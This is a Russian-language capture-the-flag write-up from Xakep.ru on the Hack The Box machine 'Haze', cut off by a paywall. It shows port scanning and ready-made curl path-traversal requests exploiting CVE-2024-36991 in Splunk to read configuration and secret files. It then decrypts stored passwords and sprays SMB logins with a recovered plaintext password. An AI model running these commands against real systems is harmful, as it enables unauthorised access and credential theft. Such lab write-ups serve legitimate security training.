Содержание статьи
Наша цель — получение прав суперпользователя на машине Haze с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.61 haze.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел 14 открытых портов:
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- порты 8000, 8088, 8089 — система Splunk.
Начнем, конечно же, с просмотра Splunk.


Точка входа
На втором сайте нам открывается версия Splunk — 9.2.1. Сразу стоит проверить, есть ли для нее готовые эксплоиты. Первым делом просто ищем в Google.

И находим пост в блоге SonicWall, где подробно разбирается уязвимость CVE-2024-36991. Она позволяет обходить пути с эндпоинта /
и читать произвольные файлы. По номеру CVE находим и рабочий PoC на GitHub. Он позволяет получать учетные данные из базы данных.
python3 CVE-2024-36991.py -u http://10.10.11.61:8000

Точка опоры
У нас есть возможность читать файлы, поэтому прикинем, что может быть интересного. Я не стал заморачиваться и спросил у ChatGPT, какие конфиги Splunk могут оказаться полезны, а также что в них содержится.


В файле server.
находим зашифрованные технические пароли, а в authentication.
есть доменные учетные данные пользователя Paul
для связи с LDAP.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/server.conf'

curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'

Чтобы расшифровать пароли, нам нужен ключ из файла auth/
.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'

Когда у нас есть ключ, мы можем использовать скрипт splunksecrets для расшифровывания паролей. При запуске указываем файл splunk.
, после чего вводим зашифрованные данные и получаем пароль в открытом виде.
pip install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret

У нас есть пароль, но нет логина. По имени пользователя можно составить список всех возможных вариантов учетной записи. Для этого используем следующий скрипт.
names = ["Paul Taylor"]list = []for name in names: n1, n2 = name.split(' ') list.append(n1) list.append(n1+n2) list.append(n1+"."+n2) list.append(n1+"-"+n2) list.append(n1+"_"+n2) list.append(n1+n2[0]) list.append(n1+"."+n2[0]) list.append(n1+"-"+n2[0]) list.append(n1+"_"+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+"."+n1) list.append(n2[0]+"-"+n1) list.append(n2[0]+"_"+n1) list.append(n2) list.append(n2+n1) list.append(n2+"."+n1) list.append(n2+"-"+n1) list.append(n2+"_"+n1) list.append(n2+n1[0]) list.append(n2+"."+n1[0]) list.append(n2+"-"+n1[0]) list.append(n2+"_"+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+"."+n2) list.append(n1[0]+"-"+n2) list.append(n1[0]+"_"+n2)for n in list: print(n)
Затем перебираем логины с помощью NetExec и получаем учетную запись в нужном формате.
nxc smb 10.10.11.61 -u taylor_users.txt -p 'Ld@p_Auth_Sp1unk@2k24'

Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее